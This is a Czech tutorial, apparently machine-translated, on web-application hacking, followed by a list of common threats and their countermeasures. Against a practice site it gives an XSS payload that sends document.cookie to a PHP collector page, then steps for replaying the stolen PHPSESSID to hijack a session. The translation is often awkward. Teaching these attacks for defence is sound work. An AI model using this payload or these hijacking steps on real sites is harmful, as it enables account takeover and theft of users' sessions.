Jak hacknout web? Běžné techniky hackování stránek
Techniky hackování webových stránek
Více lidí má přístup k internetu než kdy předtím. To přimělo mnoho organizací k vývoji webových aplikací, které mohou uživatelé používat online k interakci s organizací. Špatně napsaný kód pro webové aplikace lze zneužít k získání neoprávněného přístupu k citlivým datům a webovým serverům.
V tomto tutoriálu se naučíte hackovat webové stránky a my vás s tím seznámíme techniky hackování webových aplikací a protiopatření můžete zavést na ochranu proti takovým útokům.
Jak hacknout web
V tomto praktickém scénáři hackování webových stránek se chystáme unést uživatelskou relaci webové aplikace umístěné na adrese www.techpanda.org. K přečtení ID relace souboru cookie použijeme skriptování mezi weby a poté jej použijeme k předstírání legitimní uživatelské relace.
Předpokládá se, že útočník má přístup k webové aplikaci a chtěl by unést relace jiných uživatelů, kteří používají stejnou aplikaci. Cílem tohoto útoku by mohlo být získání administrátorského přístupu k webové aplikaci za předpokladu, že přístupový účet útočníka je omezený.
Krok 1) Otevřít URL http://www.techpanda.org/.
Pro cvičné účely se důrazně doporučuje získat přístup pomocí SQL Injection. Viz toto článek pro více informací o tom, jak to udělat.
Krok 2) Zadejte přihlašovací údaje.
Přihlašovací email je admin@google.com, heslo je Password2010.
Krok 3) Zkontrolujte palubní desku.
Pokud jste se úspěšně přihlásili, získáte následující řídicí panel
Krok 4) Zadejte nový obsah.
Klikněte na Přidat nový kontakt a jako křestní jméno zadejte následující
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Krok 5) přidat Javascript.
Výše uvedený kód používá JavaScénář. Přidá hypertextový odkaz s událostí onclick. Když nic netušící uživatel klikne na odkaz, událost načte soubor PHP ID relace souboru cookie a odešle jej na snatch_sess_id.php
stránku spolu s ID relace v adrese URL
Krok 6) Přidat podrobnosti.
Zadejte zbývající podrobnosti, jak je uvedeno níže, a klikněte na Uložit změny
Krok 7) Zkontrolujte palubní desku.
Váš řídicí panel bude nyní vypadat jako na následující obrazovce
Krok 8) Zkontrolujte ID relace.
Pozor: Skript může posílat hodnotu na nějaký vzdálený server, kde je uloženo PHPSESSID, pak se uživatel přesměruje zpět na web, jako by se nic nestalo.
Pozor: hodnota, kterou získáte, se může lišit od hodnoty na této webové stránce hacking tutoriál, ale koncept je stejný
Zosobnění relace pomocí Firefox a doplněk Tamper Data
Níže uvedený vývojový diagram ukazuje kroky, které musíte provést k dokončení tohoto cvičení.
- Budete potřebovat Firefox webový prohlížeč pro tuto sekci a doplněk Tamper Data
- Otevřená Firefox a nainstalujte doplněk, jak je znázorněno na obrázcích níže
- Vyhledejte data o manipulaci a poté klikněte na nainstalovat, jak je uvedeno výše
- Klikněte na Přijmout a nainstalovat…
- Po dokončení instalace klikněte na Restartovat nyní
- Povolit lištu nabídek v Firefox pokud není zobrazen
- Klikněte na nabídku nástrojů a poté vyberte Data manipulace, jak je znázorněno níže
- Zobrazí se následující okno. Poznámka: Pokud je Windows není prázdná, stiskněte tlačítko Vymazat
- Klikněte na nabídku Start Tamper
- Přepnout zpět na Firefox webový prohlížeč, zadejte http://www.techpanda.org/dashboard.php poté stisknutím klávesy enter načtěte stránku
- Z Tamper Data získáte následující vyskakovací okno
- Vyskakovací okno má tři (3) možnosti. Možnost Tamper vám umožňuje upravit informace v hlavičce HTTP před jejich odesláním na server.
- Klikněte na to
- Zobrazí se následující okno
- Zkopírujte ID relace PHP zkopírovali z adresy URL útoku a vložili ji za rovnítko. Vaše hodnota by nyní měla vypadat takto
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Klepněte na tlačítko OK
- Znovu se zobrazí vyskakovací okno s daty o manipulaci
- Zrušte zaškrtnutí políčka s dotazem Pokračovat v manipulaci?
- Po dokončení klikněte na tlačítko Odeslat
- Měli byste vidět řídicí panel, jak je znázorněno níže
Pozor: nepřihlásili jsme se, zosobnili jsme relaci přihlášení pomocí hodnoty PHPSESSID, kterou jsme získali pomocí skriptování mezi weby
Co je webová aplikace? Co jsou webové hrozby?
Webová aplikace (neboli web) je aplikace založená na modelu klient-server. The Server poskytuje přístup k databázi a obchodní logiku. Je umístěn na webovém serveru. Klientská aplikace běží na klientském webovém prohlížeči. Webové aplikace jsou obvykle psány v jazycích jako např Java, C# a VB.Net, PHP, ColdFusion Markup Language atd. databázové stroje používané ve webových aplikacích zahrnují MySQL, MS SQL Server, PostgreSQL, SQLite, Etc.
Nejlepší techniky hackování webových stránek
Většina webových aplikací je hostována na veřejných serverech přístupných přes internet. Díky tomu jsou zranitelné vůči útokům díky snadné dostupnosti. Následují běžné hrozby webových aplikací.
- SQL Injection – cílem této hrozby by mohlo být obcházení přihlašovacích algoritmů, sabotáž dat atd.
- Útoky odmítnutí služby– cílem této hrozby by mohlo být odepření přístupu legitimních uživatelů ke zdroji
- Cross Site Scripting XSS– cílem této hrozby by mohlo být vložení kódu, který lze spustit v prohlížeči na straně klienta.
- Otrava cookies/relací– cílem této hrozby je upravit soubory cookie/data relace útočníkem za účelem získání neoprávněného přístupu.
- Manipulace s formuláři – cílem této hrozby je upravit data formuláře, jako jsou ceny v aplikacích elektronického obchodování, aby útočník mohl získat položky za snížené ceny.
- Vložení kódu – cílem této hrozby je vložit kód, jako je PHP, Pythonatd., které lze spustit na serveru. Kód může nainstalovat zadní vrátka, odhalit citlivé informace atd.
- Defacement– cílem této hrozby je upravit stránku zobrazenou na webu a přesměrovat všechny požadavky na stránku na jedinou stránku, která obsahuje útočníkovu zprávu.
Jak chránit svůj web před hackery?
Organizace může přijmout následující zásady, aby se chránila před útoky webového serveru.
- SQL Injection – dezinfekce a ověření uživatelských parametrů před jejich odesláním do databáze ke zpracování může pomoci snížit pravděpodobnost napadení SQL Injection. Databázové stroje, jako je MS SQL Server, MySQL, atd. podporují parametry a připravené příkazy. Jsou mnohem bezpečnější než tradiční příkazy SQL
- Denial of Service útoky – firewally lze použít k poklesu provozu z podezřelé IP adresy, pokud je útok jednoduchým DoS. Správná konfigurace sítí a systému detekce narušení může také pomoci snížit pravděpodobnost a DoS útok byl úspěšný.
- Cross Site Scripting – ověřování a dezinfekce hlaviček, parametrů předávaných přes URL, parametrů formuláře a skrytých hodnot může pomoci snížit útoky XSS.
- Otrava cookies/relací – tomu lze zabránit zašifrováním obsahu souborů cookie, časovým omezením souborů cookie po určité době, přiřazením souborů cookie k IP adrese klienta, která byla použita k jejich vytvoření.
- temperování formy - tomu lze předejít ověřením a ověřením uživatelského vstupu před jeho zpracováním.
- Vložení kódu – tomu lze předejít tím, že se všemi parametry bude zacházet spíše s daty než se spustitelným kódem. K implementaci lze použít sanitaci a validaci.
- Znečištění – dobrá bezpečnostní politika vývoje webových aplikací by měla zajistit, že zapečetí běžně používané zranitelnosti pro přístup k webovému serveru. Může se jednat o správnou konfiguraci operačního systému, softwaru webového serveru a osvědčených bezpečnostních postupů při vývoji webových aplikací.
Shrnutí
- Webová aplikace je založena na modelu server-klient. Klientská strana používá webový prohlížeč pro přístup ke zdrojům na serveru.
- Webové aplikace jsou obvykle dostupné přes internet. To je činí zranitelnými vůči útokům.
- Hrozby webových aplikací zahrnují SQL Injection, Code Injection, XSS, Defacement, Cookie poisoning atd.
- Dobrá bezpečnostní politika při vývoji webových aplikací může pomoci zajistit jejich bezpečnost.